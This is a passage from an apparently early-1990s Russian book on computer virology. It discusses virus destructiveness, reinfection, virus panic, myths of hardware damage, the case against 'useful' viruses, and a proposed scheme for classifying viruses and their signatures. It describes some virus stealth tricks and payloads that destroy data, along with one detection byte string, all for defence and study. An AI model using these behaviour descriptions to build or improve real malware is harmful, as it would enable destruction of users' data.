ет знания подробных технических данных о винчестере. Поэтому этот
тип памяти также является потенциальным объектом атаки вируса.
Как уже отмечалось, наиболее опасны как раз не катастрофические
повреждения винчестера или дискет (при адекватном архивировании
это означает максимум потерю одного дня работы), а мелкие, неза-
метные изменения файлов данных. В частности, известен вирус, кото-
рый ищет файлы типа DBF, и найдя внутри файла числовое поле, меня-
ет местами две рядом стоящие цифры.
По степени разрушительности вирусы можно условно разделить на
два типа: иллюзионисты (RC-1701, RCE-1805, RСE-2885, Bx1-1C) и
вандалы (C-648, RСE-1800, Dx3-E9, RC-496). Основным приоритетом
при конструировании иллюзионистов является демонстрация какого-
нибудь экзотического звукового (например, вирусы RCE-1805, RCE-
2885) или визуального эффекта типа бегающего шарика (например, ви-
рус Bx1-1C), осыпающихся букв (вирус RC-1701) и т.д. В качестве
основного приоритета пpи констpуиpовании вандалов является обес-
печение как можно более скрытого размножения, с тем чтобы фазе
разрушения (детонации), уничтожающей и зараженный файл (дискету) с
данным экземпляром вируса (при разрушении таблицы FAT, форматиза-
ции и других подобных действиях), предшествовало определенное чис-
ло незамеченных размножений.
При этом наблюдается интересная взаимосвязь, на которую обратил
внимание автора Л.И.Обухов: если вирус демонстрирует нетривиальный
визуальный или звуковой эффект, то скорее всего он не выполняет
массированного разрушения данных. Поэтому, если неизвестный вирус
демонстрирует какой-то изощренный эффект, то повышаются шансы на
то, что он не выполняет массированных разрушений файловой системы.
Психологически, примитивный вандализм типа разрушения файлов или
форматирования диска, наверное, в большей степени присущ примитив-
ным личностям, страдающим комплексом неполноценности, но неспособ-
ным на конструктивную деятельность. Ведь давно замечено, что ло-
мать у не строить: хотя написание вируса в современных условия
нельзя называть конструктивной деятельностью, все же встроить в
вирус программу разрушения FAT значительно проще, чем программу
падения букв на экране дисплея.
2.10. Повторное заражение
Сожрали с аппетитом ядовитый порошок
Четыре неразлучных таракана и сверчок
Из популярной песни 60-х годов
Компьютерные вирусы бессмертны и могут неограниченное время
храниться в различного рода архивах. Даже полностью уничтоженные
вирусы могут сохраниться в каком-нибудь архивном файле и случайно
или умышленно реанимироваться через много месяцев или даже лет
после их первоначального обнаружения и уничтожения. Из этого сле-
дует важный вывод, что после первого обнаружения и уничтожения ви-
руса следует ожидать повторных заражений. Таким образом, после по-
явления определенного вируса необходимы специальные меры по пред-
отвращению повторных заражений. Здесь можно двигаться в двух на-
правлениях: во-первых, постараться найти первоисточник заражения,
и во-вторых, разработать или установить программы, затрудняющие
(сторожа) или делающие невозможным (вакцины) размножение вируса.
Опасность повторного заражения особенно велика, если дезинфекция
проведена наспех, без тщательной проверки всего объема используе-
мых программ и имеющихся архивов, а также если доступ к компьютеру
имеют случайные или неквалифицированные пользователи. Как уже от-
мечалось выше, особую опасность в этом смысле представляют собой
любители компьютерных игр.
2.11. Вирусофобия и попытки ее эксплуатации
Трусоват был Ваня бедный
А.С.Пушкин
Следует отметить, что в ряде организаций само появление нового
вируса вызывает панику, парализуя работу на несколько дней. При
отсутствии специалистов в процессе борьбы с попавшим вирусом за-
частую выполняется огромный объем ненужной работы, например, пере-
форматирование винчестера. В процессе выгрузки и загрузки информа-
ции пользователи сами могут в спешке уничтожить важную информацию.
Поскольку в таких организациях руководство обычно слабо пред-
ставляет себе принципы действия и эффекты, вызываемые этим классом
программ, у программистов появляется возможность использовать ви-
русы как отходной вариант для объяснения каких-то трудностей или
причин срыва сроков. Варианты объяснений могут варьироваться от
самых примитивных (Я все сделал(а), а потом пришел вирус и все
уничтожил), до вполне квалифицированных.
Далеко не все повреждения файловой системы, отказы винчестера
или оборудования вызываются вирусами. Например, некоторые типы
винчестеров имеют довольно низкую надежность и сыпятся без вся-
кого вмешательства вирусов. Имеются компьютеры, которые можно
загрузить, только дав им прогреться в течении получаса. Автору
приходилось работать на дефектном венгерском дисководе ПЭВМ ЕС
1840, который не только фрезеровал дискеты, но и при записи иногда
стирал FAT. Причем восстановить поврежденный FAT при помощи изве-
стной утилиты Norton Disk Doctor не удавалось. Общеизвестно, что
многие отечественные компьютеры и без всяких вирусов регулярно за-
висают.
В то же время имеется тенденция атрибутировать любое повреждение
данных присутствием вируса. Это по сути один из вариантов мании
(вирусомания), которая подобно печально известной шпиономании
(шпионы под каждой кроватью) имеет социально-психологическую
этиологию. Первыми пользу из вирусомании научились извлекать
электронщики: если компьютер барахлит, а им лень разбираться, то в
ход пускается неотразимый аргумент: Это у вас какой-то вирус.
2.12. О возможности повреждения оборудования
компьютерными вирусами
То тарелками пугают...
В.Высоцкий
Одним из проявлений вирусофобии следует считать слухи о вирусах,
повреждающих оборудование. Вопрос о возможности повреждения обору-
дования автору задавали практически на каждой прочитанной им лек-
ции. Дейcтвительно, хотя большинство повреждений, наносимых виру-
сом, относятся к данным, возможны также повреждения оборудования.
Например, можно повредить участок люминофора (выжечь пятно) на
монохроматическом мониторе, используя особенности схемы управле-
ния. Однако для цветного монитора это сделать невозможно. Ходят
упорные слухи о каких-то коварных вирусах, якобы вводящих в резо-
нанс головки винчестера. К сожалению эти слухи проникают и в
околовирусные публикации [Основский90].
Такая мифотворческая тенденция наверно возникает в связи с лю-
бым малоизученным и потенциально опасным явлением. Следует учиты-
вать также благоприятный для такого рода слухов социальный фон:
сейчас в обществе оживился интерес ко всякого рода магии и чудо-
творцам. Некоторые из них ухитряются даже заговаривать воду по
телевизору. По сравнению с водой, заговоренной по телевизору, ви-
рус, прожигающий дыру в экране или даже в клавиатуре, выглядит
предельно правдоподобно. Более того, автор не видит причин, почему
многие из классических русских сказок нельзя было бы модернизиро-
вать, сделав одним из персонажей злой компьютерный вирус и соот-
ветствующим образом приспособив сюжетную канву. Со временем, когда
компьютеры появятся во многих семьях, такие сказки, возможно, бу-
дут интереснее ребенку, чем традиционные варианты с Бабой Ягой,
Кощеем Бессмертным и добрым молодцем.
2.13. Легенды о полезных вирусах
Как часто мы промахиваемся
еще при выборе цели!
Виктор Власов
Идея о том, что подобное излечивается подобным, распространен-
ная среди средневековых знахарей, периодически реанимируется при-
менительно к компьютерным вирусам. Она принимает несколько основ-
ных форм, которые мы разберем последовательно.
Первой по распространенности является идея создания вируса-за-
щитника у вирусоподобной программы защиты. Следует отметить, что
эта идея использования для борьбы c вирусом другого вируса носится
в воздухе с момента появления первых вирусов, т.е. примерно с 1984
года (см. главу 1). Исторически, первые фаги создавались именно
как вирусы, охотящиеся на тот или иной вирус. Ничего хорошего из
этого не получилось. Опыт показал, что распространение вируса-
охотника существенно медленнее, чем вируса, за которым охотятся, и
эффективность такой погони невелика.
Эта идея весьма неудачна и в других своих модификациях. Напри-
мер, часто предлагается вариант вируса-контролера, который при
заражении программы подсчитывает и запоминает ее контрольную сум-
му. Тогда при запуске зараженной программы вирус подсчитывал бы
контрольную сумму файла, из которого она была считана, и при
несовпадении сигнализировал бы о заражении. Вообще говоря, отсут-
ствие подобной проверки у это серьезный дефект MS DOS, и исправ-
лять его стоит именно на уровне операционной системы. Однако то-
тальное заражение вирусом-контролером неизбежно ведет к потере
работоспособности части программ. Кроме того, заражение всех про-
грамм таким контролирующим вирусом неизбежно приведет к увеличе-
нию размеров программ, причем заметному, поскольку каждой исполня-
емой программе придется сделать прививку. Если на диске 20M хра-
нится, скажем, 1000 программ и размер прививки составляет 1024
байта, то получается, что в среднем теряется мегабайт дискового
пространства. Реально, учитывая квантование дискового пространства
по кластерам, эти потери могут оказаться и больше, в особенности,
если на диске записано много программ, близких к размеру кластера.
Кроме того, процесс поиска очередной жертвы не так прост, и бу-
дет занимать некоторое время, замедляя загрузку программы. Поэтому
закрывать эту дыру предпочтительнее с помощью маленькой резиден-
тной программы, перехватывающей прерывание 21-4B. Возможно, пере-
хват следует выполнить сплайсингом, т.е. врезкой команды JMP в
оригинальный обработчик этой команды с тем, чтобы исключить воз-
можность того, что вирус предварительно перехватит 21 прерывание.
Кстати, перехватить 21 прерывание вирусу можно просто не дать, как
бы он не старался (на этой идее основаны сторожа CHECK21 и SBM у
см. прил.5). Получив управление, эта заплатка должна проверять
контрольную сумму. Для COM-файлов достаточно проверить первый
блок, а для EXE-файлов у заголовок и блок, куда передается управ-
ление. При этом для COM-файлов контрольную сумму можно хранить в
неиспользуемых байтах оглавления, а для EXE у в соответствующем
поле заголовка. Метод подсчета контрольной суммы должен быть пара-
метризуемым. Кстати, аналогичным способом можно закрыть другую
дыру в MS DOS, связанную с тем, что снятие атрибута READ ONLY не
требует подтверждения оператора. При этом можно предусмотреть воз-
можность отключения выдачи запроса с помощью специального, задава-
емого пользователем, пароля.
Другой идеей, связанной с поисками полезных применений компью-
терных вирусов, является автоматическое преобразование программы в
какую-то более приемлемую форму. Наиболее часто при этом предлага-
ется автоматическое сжатие программы. Действительно, имеется ряд
программ, выполняющих сжатие EXE-файлов, наиболее удачной среди
которых является LZEXE, которая обеспечивает экономию порядка 30%
на каждом EXE-файле при очень высокой скорости распаковки (практи-
чески не увеличивая время загрузки). Идее применить для этой цели
вирус уже более 15 лет и она высказывалась еще Ф.Коэном для обос-
нования своих работ. Теоретически здесь вроде бы все чисто. Ви-
рус, заражая программы, свертывает их с помощью какого-то метода,
а при запуске развертывает. Однако с практической точки зрения эта
идея не выдерживает никакой критики. Дело в том, что включаемый в
сжатые программы распаковщик должен иметь минимальную длину (600
байтов для LZEXE), что в случае вируса обеспечить невозможно. Бо-
лее правильным подходом к реализации идеи сжатия информации на
диске, если уж добиваться тотального ее осуществления, является
написание специального дискового драйвера, который во-первых, не
включается в сжатую программу, а во-вторых, может сжимать не толь-
ко исполняемые файлы, а и все файлы, помеченные определенным атри-
бутом. Кстати, такие драйверы были реализованы и успешно применя-
ются. Однако широкое их распространение сдерживает тот факт, что
достигаемый эффект составляет порядка 20%, т.е. невелик и не ком-
пенсирует все возникающие при этом сложности и неудобства. Есть
все основания предполагать, что для вируса сжатия общий эффект
будет отрицательным, поскольку на каждой программе вирус должен
экономить не менее 12-16К (размер одного кластера, скажем, 4К +
собственный размер вируса, который для этого довольно сложного ви-
руса вряд ли составит меньше 8К), что для программ, меньших 64K,
т.е. для всех COM-файлов, практически нереально. Кроме того, если
не прибегать к каким-то ухищрениям, то вирусу придется хранить в
сжатой программе и достаточно объемную программу упаковки, которая
там совершенно не нужна, но которую нельзя выкинуть, т.к. иначе
вирус теряет способность к размножению. Ну и наконец, поскольку
часть программ при сжатии теряет работоспособность, то неясно как
предохранить такие программы от заражения.
Конечно, не исключены и какие-то другие возможные приложения
полезного вируса, однако такая форма коммуникации программ дол-
жна учитываться уже при разработке операционной системы, а экспе-
риментирование должно быть ограничено лабораторными экспериментами
на новых операционных системах. Возможно, что вирусоподобные
программы окажутся полезными в каких-то узких областях системного
программирования. Нельзя бросаться в запретительство только по-
тому, что в MS DOS вирусы создают серьезные проблемы. В то же
время автор убежден, что безвредных вирусов для MS DOS, как и для
любой операционной системы, ориентированной на широкий круг поль-
зователей, принципиально не существует. По определению, процесс
размножения вируса неконтролируем (иначе это, строго говоря, не
вирус). Если операционная система широко используется, то она не-
избежно будет мигрировать с одного компьютера на другой, попадая
туда, где ее совсем не ждали. А возникающая в ряде организаций при
обнаружении нового вируса паника зачастую наносит больший ущерб,
чем сам вирус, парализуя работу на несколько дней. Как бы ни была
прививка тщательно написанной, неизбежно окажется, что она вызыва-
ет потерю работоспособности части программ, какие-то тонкие взаи-
модействия с другими резидентными программами. В общем, пользова-
телей ожидают приключения. А ведь лекарство не должно быть опас-
нее, чем болезнь.
Принципиальной проблемой любой реализации полезного вируса яв-
ляется его переносимость. В силу своей природы вирусы сильно зави-
сят от версии операционной системы у значительно больше, чем обыч-
ные программы. Опыт показал, если зараженная вирусом программа ра-
ботоспособна в версии 3.3, то это совсем не означает, что она ока-
жется работоспособной в версии 4.0 или даже в версии 3.3 с
нестандартным командным процессором. В особенности плохо дело об-
стоит с резидентными программами, которые часто после заражения
теряют работоспособность. А ведь развитие операционной системы мо-
жет продолжаться десятилетиями. Получается, что при получении но-
вой версии операционной системы все программы нужно срочно лечить,
затем доставать новый штамм и заражать повторно. В общем, вопросов
здесь явно больше, чем ответов.
И, наконец, последний аргумент в пользу ограничения эксперимен-
тов по созданию полезных вирусов специализированными операцион-
ными системами связан с тем, что по определению полезный вирус
будет распространяться свободно. Тем самым, доступность механизма
размножения (центральной части любого вируса), делает его обще-
доступной базой для совсем небезобидных экспериментов. В частнос-
ти, он легко может быть модифицирован злоумышленником в троянскую
программу, которая, скажем, защищая от некоторых вирусов, сама пе-
риодически стирает FAT.
Накопленный автором опыт изучения вирусов позволяет сделать вы-
вод о том, что в существующих вариантах любой вирус является опас-
ной программой, неизбежно вызывающей побочные эффекты. Последние
связаны либо с повреждением заражаемых программ, либо с нарушением
функционирования операционной системы. Если сравнивать переноси-
мость вирусов с переносимостью резидентных программ, то обычно ви-
русы в большей степени зависят от версии операционной системы. При
размножении в среде отличной от естественной (например, более
поздняя версия операционной системы или нестандартный командный
процессор) вирусы, как правило, вызывают дополнительные побочные
эффекты вплоть до зависания операционной системы. Учитывая выска-
занные доводы трудно не прийти к мнению о том, что безвредных
вирусов не существует, а эксперименты по их созданию для MS DOS
связаны со значительным риском выпустить джинна из бутылки.
3. КЛАССИФИКАЦИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ
Я никаким насекомым не радуюсь,
потому что я их боюсь,у призналась Алиса. у
т Но я могу вам сказать, как их зовут.
А они, конечно, идут, когда их зовут?
у небрежно заметил Комар.
Нет, кажется, не идут.
Тогда зачем же их звать, если они не идут?
Им это ни к чему, а нам все-таки нужно.
Иначе зачем вообще знать, как что называется
Льюис Керрол
Cерьезность и долговременный характер проблемы защиты от компью-
терных вирусов уже практически ни у кого не вызывают сомнений. По-
этому необходимо организовать оперативный обмен информацией по
данной проблеме и наладить взаимодействие работающих в этой обла-
сти специалистов. Это, в свою очередь, требует решения ряда подза-
дач, одной из которых является выработка стандартной классификации
компьютерных вирусов.
Стандартная классификация существенно облегчает накопление и
распространение знаний в любой области, и компьютерные вирусы не
являются исключением. Применительно к компьютерной вирусологии она
помогает решению такой важной задачи, как однозначное определение
типа обнаруженного вируса. При этом должен использоваться ограни-
ченный набор сравнительно простых и непротиворечивых признаков, не
требующих проведения глубокого анализа зараженных программ и эле-
ментов операционной системы. Существующие в настоящее время клас-
сификации, как правило, основаны на кличках у распространенных
среди программистов названиях, отражающих то или иное свойство ви-
руса. Анализируя имеющиеся неформальные названия, можно выявить
четыре основные тенденции их образования. Первая основана на ука-
зании места обнаружения или разработки вируса (Lehigh, Jerusalem,
Vienna, Alameda), вторая у на содержащихся в теле вируса текстовых
строках (Vacsina, Eddie, Dark Avenger, Disk Killer, sUMsDos),
третья у на вызываемом вирусом эффекте (Time Bomb, DOS-62,
Cascade, Black Fridaу) и наконец, четвертая у на длине тела вируса
или на приращении длины файла при заражении (524, 648, 1800, 2000
и т.д.). При этом один и тот же вирус может иметь множество
названий, и новое название, использованное разработчиком той или
иной антивирусной программы, далеко не всегда соответствует новому
вирусу.
Для широко известных вирусов перечень названий напоминает список
имен арабского шейха. Например, автор встречал более десяти назва-
ний вируса, обнаруженного в декабре 1987 года в Иерусалимском уни-
верситете (RСE-1813 по предлагаемой ниже классификации), среди ко-
торых три: Israeli virus (Израильский), Jerusalem (Иерусалим) и
PLO (ООП) у относятся к первому типу, два названия (sUMsDos и
sU) у ко второму типу, и, наконец, еще четыре: Black Hole (Черная
дыра), Black Friday (Черная пятница), Friday 13 (Тринадцатая пят-
ница) и Вирус замедления у к третьему типу (данный вирус выреза-
ет в левом углу экрана черную дыру, удаляет все запускаемые файлы
по пятницам, пришедшимся на 13 число и, кроме того, примерно через
20 мин. после запуска зараженной программы искусственно замедляет
работу компьютера в несколько сотен раз).
Конечно же, такое многообразие названий создает определенные за-
труднения, особенно если учитывать, что данный вирус имеет не-
сколько отличающихся по деталям функционирования штаммов. Поэтому
необходим какой-то выход из создавшейся ситуации. На определенном
этапе среди разработчиков антивирусных средств наблюдалась стихий-
ная тенденция к использованию в качестве основных названий, приме-
няемых известным зарубежным полидетектором SCAN (фирма McAfee
Associates, США); однако он, естественно, запаздывает с классифи-
кацией болгарских вирусов, не говоря уже о вирусах отечественного
изготовления. Поэтому набор обнаруживаемых им вирусов не соответ-
ствует советским условиям, а используемые строки для контекстного
поиска (сигнатуры) часто неудачны (например, дают много ложных
срабатываний). При этом для ранних версий SCAN неоднократно наблю-
дались случаи, когда наиболее актуальные для нас вирусы могут
классифицироваться неверно (как это было с подгруппой Vacsine
группы ТР-вирусов) или попадали в две группы сразу (например,
Vacsine и Yankee Doodle). В последнем случае создавалось ложное
впечатление о том, что файл заражен двумя вирусами сразу. Кроме
того, недавно появился другой достаточно мощный полидетектор
TNTVIRUS (фирма CARMEL Software Engineering), в котором в ряде
случаев используются другие названия. Не исключено, что будет тре-
тий, четвертый и т.д. Поэтому необходим какой-то менее субъектив-
ный и учитывающий нашу информационную изолированность (отсутствие
сетей, слабое развитие и низкое качество телефонной связи) подход.
3.1. Принцип построения классификации
По мнению автора, основным требованием к приемлемой для всех
классификации является ее объективность, т.е. классификация должна
основываться на фиксированном наборе непротиворечиво измеряемых
или наблюдаемых признаков. В идеальном случае эти признаки должны
быть выбраны так, чтобы, скажем, два разработчика антивирусных
средств, независимо работающих в Киеве и Москве, использовали одно
и то же название для одинаковых вирусов и разные названия для раз-
ных вирусов. Это обеспечивало бы быстрое выявление новых штаммов
вирусов и новых, еще не исследованных, разновидностей. Очевидно,
что объективная классификация существенно облегчает систематиза-
цию, распространение и накопление знаний, а также выбор программ-
ных средств для борьбы с тем или иным вирусом.
Однако важно не только наличие классификации как таковой, а и
принятие ее в качестве стандартной. Уже сейчас отсутствие стандар-
тной классификации приводит к ряду нежелательных эффектов. Во-пер-
вых, у разработчиков наблюдается тенденция по-своему называть об-
наруженный или сравнительно малораспространенный вирус, а в даль-
нейшем продолжать использовать собственное название (см., напри-
мер, документацию к полифагу Aidstest Д.Н.Лозинского). В результа-
те получается, что каждый разработчик антивирусных средств исполь-
зует в определенной степени свою уникальную классификацию. Поэтому
для пользователей, столкнувшихся с вирусом, необнаруживаемым тем
или иным детектором или полифагом, часто неясно, относится ли он к
какой-то разновидности (один основной тип вируса обычно представ-
лен рядом штаммов со сходными, но не идентичными свойствами) уже
известного вируса, что дает возможность в значительной степени
предсказать его свойства, или это совершенно новый, еще не иссле-
дованный, вирус. Во-вторых, у самих пользователей наблюдается тен-
денция аппроксимировать общее количество вирусов общим количеством
названий, используемых в имеющемся у них наборе средств защиты и
прежде всего программ-фагов (т.е. программ, выкусывающих тело
вируса из зараженной программы, там самым восстанавливая ее в ра-
ботоспособном и близком к первоначальному состоянии). Такая апп-
роксимация приводит к существенной переоценке общего количества
имеющихся компьютерных вирусов, однако человек быстро рационали-
зирует этот факт путем разбиения одного реального вируса на не-
сколько виртуальных, приписывая каждому свой набор признаков.
Так, автору приходилось сталкиваться с самодельной классифика-
цией, в которую вирусы С-648 и RСE-1813 входили в двух ипостасях
каждый, причем второй ипостаси вируса С-648 приписывались черты
вируса RСE-1813 (замедление работы компьютера).
В процессе чтения лекций и проведения семинаров по данной про-
блеме автором была выработана схема классификации, включающая три
основных элемента: код вируса (несколько напоминающий схему клас-
сификации транзисторов); дескриптор вируса (формализованный список
основных свойств); сигнатуру вируса (строка для контекстного по-
иска данного вируса в зараженной программе).
Классификационный код вируса. В предлагаемой схеме каждому виру-
су присваивается код, состоящий из буквенного префикса,
количественной характеристики и факультативного буквенного суффик-
са. Например, в коде RCE-1813c RСE у префикс, 1813 у корень (ха-
рактеристика), а c у суффикс.
Главным требованием к классификационному коду вируса является
возможность определения большинства входящих в него свойств на не-
зараженном компьютере. Выполнение каких-либо действий по исследо-
ванию вируса на зараженном компьютере является наиболее распрост-
раненной и одновременно наиболее грубой ошибкой, которую допускают
неопытные пользователи. Следует подчеркнуть, что любые действия на
компьютере, зараженном неизвестным вирусом, сопряжены с определен-
ным риском вызвать срабатывание троянской компоненты вируса. Кроме
того, резидентный вирус с целью маскировки может перехватывать за-
просы и искажать выдаваемую информацию. В настоящий момент изве-
стен ряд вирусов, обладающих указанным свойством. Например, группа
файловых вирусов, известная под названием TP-вирусов, начиная с
вируса TP-34 (члены этой группы имеют номера, хранящиеся в пред-
последнем байте вируса в 16-ричном виде) обладает интересным свой-
ством: при попытке трассировать зараженную программу резидентный
вирус выполняет выкусывание вируса из программы, подсовывая
отладчику уже излеченную программу. Аналогично бутовые вирусы,
входящие в группу пакистанских (Brain, Ashar), при попытке про-
смотреть бутсектор на зараженном компьютере подсовывают пользо-
вателю оригинальный бутсектор, сохраненный вирусом в одном из сек-
торов, помеченных как дефектный (и, тем самым, исключенным из рас-
пределения под файлы).
Префикс характеризует место расположения головы вируса и состоит
из букв и цифр, начинаясь с прописной буквы. В соответствии с этим
будем различать следующие типы вирусов (будем рассматривать только
реально существующие типы, а не все принципиально возможные):
1) файловые (голова вируса располагается в COM-, EXE-файлах и
оверлеях у символы С, Е в префиксе. При этом дополнительную букву,
отражающую заражение оверлеев в префикс вводить не будем, чтобы
избежать его переусложнения, а вынесем в дескриптор);
2) бутовые (голова вируса располагается в бутсекторе или блоке
MBR у символы B,D или M в префиксе);
3) пакетные (голова вируса расположена в пакетном файле, т.е.
представляет собой строку или программу на языке управления зада-
ниями операционной системы у префикс J). Отметим, что наряду с чи-
стыми вирусами, использующими одну среду, в настоящее время появи-
лись гибридные у сочетающие свойства файловых и бутовых вирусов.
Характеристика вируса представляет собой количественно измеряе-
мое свойство вируса, допускающее простое определение и отличающее-
ся для большинства типов вирусов. Например, для файловых вирусов в
качестве характеристики может использоваться величина приращения
длины файлов при заражении, хотя здесь имеются определенные труд-
ности.
Суффикс используется, когда два разных вируса или два штамма од-
ного и того же вируса имеют одинаковый префикс и характеристику. В
этом случае для того, чтобы получить уникальные коды, будем ис-
пользовать в качестве суффикса латинскую букву. Например, в коде
RС-1704f буква f означает штамм-f.
Дескриптор вируса. Конечно, предложенный код вируса не охватыва-
ет, да и не может охватывать основные свойства вируса. В то же
время систематизация свойств вирусов представляет значительный ин-
терес как для разработчиков антивирусных программ, так и их поль-
зователей, поскольку позволяет интегрировать разнородные факты,
относящиеся к поведению того или иного вируса в систему, тем самым
облегчая их запоминание и сопоставление. Поэтому автором в каче-
стве второго элемента классификации предлагается так называемый
дескриптор.
Дескриптор представляет собой систематизацию основных характери-
стик вируса в закодированном виде. Кодировка состоит из групп сим-
волов, начинающихся с заглавной латинской буквы, за которой следу-
ют строчные латинские буквы или цифры. При этом заглавная латин-
ская буква определяет вид характеристики, а следующие за ней ма-
ленькие буквы или цифры у значение характеристики для конкретного
вируса. Например, в дескрипторе Хab Yc Zdmt имеются три свойст-
ва: Х у со значением аb, Y у со значением c, и Z у со значе-
нием dmt.
Сигнатура вируса. Поскольку подавляющее большинство известных в
настоящее время вирусов допускают детектирование с помощью контек-
стного поиска, одной из важных задач классификации является со-
ставление списка строк для контекстного поиска (сигнатур). Знание
сигнатур позволяет проверять поступающее программное обеспечение
на их наличие, тем самым существенно повышая степень защищенности
ЭВМ. Стандартизация сигнатур особенно важна, когда вирус имеет
много штаммов, поскольку формальные схемы, подобные описанным выше
классификационному коду и дескриптору, обладают тем недостатком,
что некоторые штаммы будут неразличимы в заданном пространстве
признаков. В то же время сравнительно легко обеспечить уникаль-
ность сигнатуры, по крайней мере вирусов, известных в СССР, хотя
возможно создание вируса не имеющего ни одной сигнатуры, т.е. ко-
торый нельзя найти с помощью контекстного поиска.
Хотя в дальнейшем в качестве сигнатур используются только тек-
стовые строки, для них применимы и регулярные выражения. Последние
существенно устойчивее к некоторым мутациям и, кроме того, при
меньшей длине обеспечивают лучшее качество распознавания (меньшее
количество ложных срабатываний). Все это делает их предпочтитель-
нее простых текстовых строк. Версию приводимых ниже таблиц с сиг-
натурами из регулярных выражений автор надеется опубликовать не-
сколько позднее.
Очевидно, что сигнатура, соответствующая участку, содержащему
команды, надежнее сигнатуры участка, содержащего данные, например,
текстовые строки (последние могут быть модифицированы). Поэтому
выбор сигнатуры целесообразно выполнять на основе анализа дизас-
семблированного кода вируса. Длина сигнатуры не должна быть слиш-
ком большой, поскольку длинную сигнатуру труднее правильно набить
вручную. В то же время при недостаточной длине или выборе нехарак-
терных участков кода сигнатура будет вызывать много ложных сраба-
тываний, что весьма нежелательно. Правильная сигнатура не должна
содержаться ни в одной из наиболее распространенных в MS DOS сис-
темных программ, включая, конечно, сами компоненты MS DOS. Таким
образом, для выбора отвечающей указанным требованиям сигнатуры не-
обходим ряд экспериментов, а сами сигнатуры могут являться предме-
том сравнения и анализа.
В настоящее время имеется ряд программ, обеспечивающих детекти-
рование вирусов путем поиска в файлах соответствующих строк и ис-
пользуемые в них сигнатуры естественно принять за основу. Наи-
большую ценность представляют строки, используемые в известном за-
рубежном детекторе SCAN фирмы McAfee Associates (США), поскольку
новые версии этого детектора появляются регулярно и охватывают
практически все вирусы, появляющиеся за рубежом. Из других зару-
бежных детекторов следует отметить VIRSCAN фирмы IBM и TNTVIRUS
фирмы CARMEL (Израиль). Для определенности назовем строку, исполь-
зуемую SCAN, М-сигнатурой, строку, используемую VIRSCAN, у I-сиг-
натурой, а строку, используемую TNTVIRUS, у С-сигнатурой. В то же
время необходимо отметить, что сигнатуры для ряда вирусов, распро-
страняющихся в нашей стране, таких как RCE-1600 (Voronez у Воро-
неж), C-1024 (Bebe у Бебе) и др. в существующих версиях этих про-
грамм отсутствуют, а сигнатуры для болгарских вирусов часто неу-
дачны. В таких случаях в статье используются выбранные автором
сигнатуры, которые обозначены буквой B (B-сигнатуры) или так назы-
ваемые J-сигнатуры. Последние представляют собой начальные байты
кода вируса (т.е. первые исполняемые команды тела вируса). Опыт
показывает, что они достаточно специфичны и в большинстве случаев
позволяют отличать один вирус от другого. При этом для файловых
вирусов, дописывающих свое тело в конец файла, будем считать, что
J-сигнатура начинается с байта, на который передает управление ко-
манда JMP. Кроме того, в теле некоторых вирусов встречаются харак-
терные текстовые строки. Такие строки будем называть T-сигнатурами
и использовать как вспомогательные.
Следует отметить, что контекстный поиск может использоваться не
только для поиска зараженных вирусом программ, но и для поиска
программ и файлов, уничтоженных или поврежденных вирусом. Напри-
мер, вирус С-648 при определенных значениях таймера вместо зараже-
ния программы уничтожает ее, записывая в первые 5 байтов строку,
соответствующую переходу на подпрограмму перезагрузки BIOS. Для
поиска уничтоженных вирусом программ можно использовать строку
EAF0FF00F0. Аналогично вирус RCE-1800 уничтожает сектора на вин-
честере, записывая в первые байты сообщение Eddie livesт
somewhere in time. По этому сообщению с помощью Norton Utilities
или PC Tools можно выявить все пораженные сектора и определить, к
каким файлам они относятся.
При наличии сигнатуры проверку зараженности файлов вирусом дан-
ного типа удобно выполнять, используя специальные программы, из
которых, по мнению автора, наиболее удачной является программа VL
(см. прил.5), позволяющая проводить поиск в каталоге или заданных
его ветвях. В случае обнаружения зараженных программ целесообразно
дополнительно проконтролировать результаты с помощью Norton
Utilities (NU) или PCTools, которые всегда под рукой (для просмот-
ра всех файлов можно использовать режим глобального поиска по дис-
ку).
3.2. Классификация файловых вирусов
Файловые вирусы являются наиболее распространенным типом компью-
терных вирусов; они составляют примерно 80% от общего числа компь-
ютерных вирусов, известных для компьютеров, совместимых с IBM PC.
Этот класс компьютерных вирусов обладает весьма высокой инфицирую-
щей способностью. При отсутствии противодействия они вызывают на-
стоящие эпидемии. Так, например, произошло с вирусом RCE-1813, из-
вестным также под названиями Jerusalem (Иерусалим), Black Friday
(Черная пятница) и др. Классификационная таблица файловых вирусов,
обнаруженных в СССР, приведена в прил.1.
Группы файловых вирусов. Большинство распространенныx файловыx
вирусoв имеют штаммы, незначительно отличающиеся от базовой вер-
сии. Поэтому можно говорить о группах файловых вирусов и, соответ-
ственно, групповых дескрипторах и групповых сигнатурах. В настоя-
щее время можно выделить следующие группы файловых вирусов.
1) Венская группа. Первым представителем этой группы был вирус
С-648, обнаруженный в Вене примерно в 1987 г. Его дизассемблиро-
ванный код был опубликован и распространялся в виде файла на дис-
кетах с соответствующими антивирусными программами, поэтому попыт-
ки его модификации наиболее многочисленны.
2) Группа CASCADE. Первым представителем этой группы был вирус
RС-1701, обнаруженный примерно в середине 1988 г.
3) Иерусалимская группа. Первым представителем этой группы был
вирус RCE-1813, обнаруженный в Иерусалимском университете в конце
1987 г. Данная группа имеет значительное число штаммов (более де-
сятка).
4) Группа TP-вирусов (эти вирусы, вероятно, разработаны в Болга-
рии; большинство представителей этой группы имеют характерный
хвост длиной четыре байта, в котором за двумя первыми байтами
(F4FAh) следует байт с 16-ричным значением версии вируса (как уже
указывалось, этот байт является предпоследним байтом в зараженной
программе). В свою очередь, эта группа разбивается на три подгруп-
пы у VACSINE (TP-4, TP-5, TP-16), музыкальной перезагрузки
(TP-24, TP-25) и самоедов (TP-34 и старше). Две последние под-
группы часто называют Yankee Doodlе (Янки дудль), поскольку они
при определенных условиях проигрывают мелодию Yankee Doodlе Dandy.
Данная группа имеет наибольшее количество штаммов у порядка двух
десятков (не все номера версий соответствуют реальным вирусам).
5) Группа Avenger. Представители этой группы обладают более вы-
сокой инфицирующей способностью по сравнению с предыдущими
группами, поскольку заражают файлы не только при выполнении, но и
при открытии и чтении. Один из представителей этой группы периоди-
чески уничтожает сектора на винчестере, записывая в них текстовое
сообщение.
6) Голландская группа (Datacrime). Представители этой группы ак-
тивизируются 12 октября текущего года и уничтожают первые 8 секто-
ров логических дисков A, B, C и D.
7) Исландская группа (Icelandic).
Следует отметить, что две из упомянутых выше групп вирусов пока,
по-видимому, не попали в нашу страну (группа Datacrime и исланд-
ская группа). Кроме того, в настоящее время на базе некоторых ви-
русов начинают образовываться новые группы. Фактически это проис-
ходит с каждым вирусом, получившим значительное распространение.
